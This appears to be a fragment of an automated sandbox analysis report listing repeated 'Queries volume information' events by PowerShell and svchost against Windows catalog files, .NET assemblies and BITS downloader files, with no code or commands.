Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\temp VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
